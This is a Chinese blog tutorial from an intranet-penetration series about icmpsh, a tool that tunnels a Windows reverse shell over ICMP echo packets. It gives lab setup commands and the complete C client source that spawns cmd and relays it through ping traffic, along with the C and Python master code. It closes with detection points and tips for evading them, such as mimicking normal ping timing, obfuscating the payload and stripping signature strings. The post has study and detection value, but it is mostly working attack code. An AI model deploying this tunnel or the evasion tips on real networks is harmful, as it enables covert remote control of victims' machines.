当前位置:网站首页>内网渗透系列:内网隧道之icmpsh
内网渗透系列:内网隧道之icmpsh
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究ICMP隧道的一个工具,icmpsh
github:https://github.com/bdamele/icmpsh
一、概述
1、简介
最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定
- 受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
- 主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。
条件:
- 目标机可以ping出来
- 目标机是windows
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度
3、使用
首先都要关闭内核对ping的响应:
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
icmpsh提供了以下选项:
-t host 必须的,客户端指定服务端
-r 发送 "Test1234" 字符串进行测试
-d milliseconds requests之间间隔毫秒级时间
-o milliseconds 设置毫秒级最大响应时间
-b num blanks的数量
-s bytes 最大数据缓冲区大小
服务端(攻击机)执行
python icmpsh_m.py <attacker's-IP> <target-IP>
客户端(目标机,win)执行
icmpsh.exe -t <attacker's-IP>
然后就建立了隧道
二、实践
1、场景
攻击机:kali 192.168.227.129
目标机:windows7 192.168.227.128
目标机能ping通攻击机

2、建立隧道
(1)攻击机
关闭内核对ping的响应并启动隧道:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128

(2)目标机
建立隧道
icmpsh.exe -t 192.168.227.129

(3)隧道建立成功
成功建立隧道并反弹shell

可以发现对中文名不友好
3、抓包看看
连接上迅速反弹shell

dir命令,发现是分散到每个心跳包里,限制了长度和频率

三、探索
1、源码与分析
(1)客户端
C语言
cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点
int verbose = 0;
// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si; //指定新进程的特性
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
//关闭内核对象out_read句柄的继承标志
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
}
void usage(char *path)
{
printf("%s [options] -t target\n", path);
printf("options:\n");
printf(" -t host host ip address to send ping requests to\n");
printf(" -r send a single test icmp request and then quit\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\n");
printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n");
}
void create_icmp_channel(HANDLE *icmp_chan)
{
// create icmp file
*icmp_chan = (HANDLE) icmp_create();
}
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}
int load_deps() //加载dll
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("failed to load functions (%u)", GetLastError());
return 0;
}
int main(int argc, char **argv)
{
int opt;
char *target;
unsigned int delay, timeout;
unsigned int ip_addr;
HANDLE pipe_read, pipe_write;
HANDLE icmp_chan;
unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size;
DWORD rs;
int blanks, max_blanks;
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK;
if (!load_deps()) {
printf("failed to load ICMP library\n");
return -1;
}
// parse command line options
for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') {
switch(argv[opt][1]) {
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc) {
target = argv[opt + 1];
}
break;
case 'd':
if (opt + 1 < argc) {
delay = atol(argv[opt + 1]);
}
break;
case 'o':
if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]);
}
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]);
}
break;
case 's':
if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]);
}
break;
default:
printf("unrecognized option -%c\n", argv[1][0]);
usage(*argv);
return -1;
}
}
}
if (!target) {
printf("you need to specify a host with -t. Try -h for more options\n");
return -1;
}
ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE) {
status = spawn_shell(&pi, &pipe_read, &pipe_write);
}
// create icmp channel
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("unable to create ICMP file: %u\n", GetLastError());
return -1;
}
// allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) {
printf("failed to allocate memory for transfer buffers\n");
return -1;
}
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop
blanks = 0;
do {
switch(status) {
case STATUS_SINGLE:
// reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\n");
break;
case STATUS_PROCESS_NOT_CREATED:
// reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\n");
break;
default:
// read data from process via pipe
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) {
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) {
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
}
}
} else {
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
}
break;
}
// send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) {
// write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
}
blanks = 0;
} else {
// no reply received or error occured
blanks++;
}
// wait between requests
Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK) {
TerminateProcess(pi.hProcess, 0);
}
return 0;
}
(2)服务端
主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送
C语言
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
rs = ~sum;
return rs;
}
int main(int argc, char **argv)
{
int sockfd;
int flags;
char in_buf[IN_BUF_SIZE];
char out_buf[OUT_BUF_SIZE];
unsigned int out_size;
int nbytes;
struct iphdr *ip;
struct icmphdr *icmp;
char *data;
struct sockaddr_in addr;
printf("icmpsh - master\n"); //这种特征性字符串可以删掉
// create raw ICMP socket
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) {
perror("socket");
return -1;
}
// set stdin to non-blocking
flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags);
printf("running...\n");
while(1) {
// read data from socket
memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) {
// get ip and icmp header and data part
ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1);
data[nbytes] = '\0';
printf("%s", data);
fflush(stdout);
}
// reuse headers
icmp->type = 0; //设为echo
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr;
// read data from stdin
nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes;
} else {
out_size = 0;
}
icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
// send reply
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) {
perror("sendto");
return -1;
}
}
}
}
return 0;
}
python
有个impacket包很厉害的样子
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
""" Make a file descriptor non-blocking """
# 同样使non-blocking
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # 收到的是reply
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
2、检测与绕过
(1)异常ICMP数据包数量
如图,心跳包0.2s一个

这个可以改为和ping的时间间隔一样
(2)payload内容
长度已经限制了
那么就是内容了确实是不同的

正常ping命令:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
这里混淆加密,会不会好点
(3)cmd进程
可以关注cmd进程是否被开启
(4)dll
可以关注几个dll的链接
结语
可以认为是很简单的icmp隧道了
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/118799784
边栏推荐
- VBA调用SAP RFC实现数据读取&写入
- Houdini地形与流体解算(模拟泥石流)
- 庄懂的TA笔记(六)<FakeEnvReflect && 生锈,锈迹效果>
- Shapley Explanation Networks
- 自己封装unity的Debug函数
- NodeJS(二)同步读取文件和异步读取文件
- Plane definition - plane equation
- MySQL8.0 安装/卸载 教程【Window10版】
- Post of experience in preparation for guarantee and research -- the 18th (2021) Central South planning department promoted the exemption to Zhejiang University Institute of Technology
- linux下mysql数据库备份与恢复(全量+增量)
猜你喜欢

Understanding the Role of Individual Units in a Deep Neural Networks(了解各个卷积核在神经网络中的作用)

Apache Hudi 如何加速传统的批处理模式?

Dropping Pixels for Adversarial Robustness

The page displays the current time in real time

Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight

第五章 投资性房地产

SAP GUI安全性

Export all SVG files in the specified path into pictures in PNG format (thumbnail or original size)
![[NLP notes] preliminary study on CRF principle](/img/8c/2717aeee2e75bdae97d2bacd362e53.png)
[NLP notes] preliminary study on CRF principle

Zhuang understand's TA notes (VI) < fakeenvreflect & rust, rust effect >
随机推荐
SQL user-defined scalar value function that looks up relevant column values n times forward or backward according to a specified table name, column name and column value
webflux文件上传下载
Towords Open World Object Detection
Apache Hudi 如何加速传统的批处理模式?
Protobuf use
Event system (II) multicast events
SampleCameraFilter
Unity获取真实地理地图应用Terrain笔记
Houdini>流体,刚体导出学习过程笔记
What's new in. Net 5 NET 5
Dropping Pixels for Adversarial Robustness
IDEA快捷键
Nodejs (I) event driven programming
How does Apache Hudi accelerate traditional batch mode?
使用flask时代码无报错自动结束,无法保持连接,访问不了url。
Houdini>建筑道路可变,学习过程笔记
第五章 投资性房地产
C#使用拉依达准则(3σ准则)剔除异常数据(.Net剔除一组数据中的奇异值)
IT高薪者所具备的人格魅力
Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight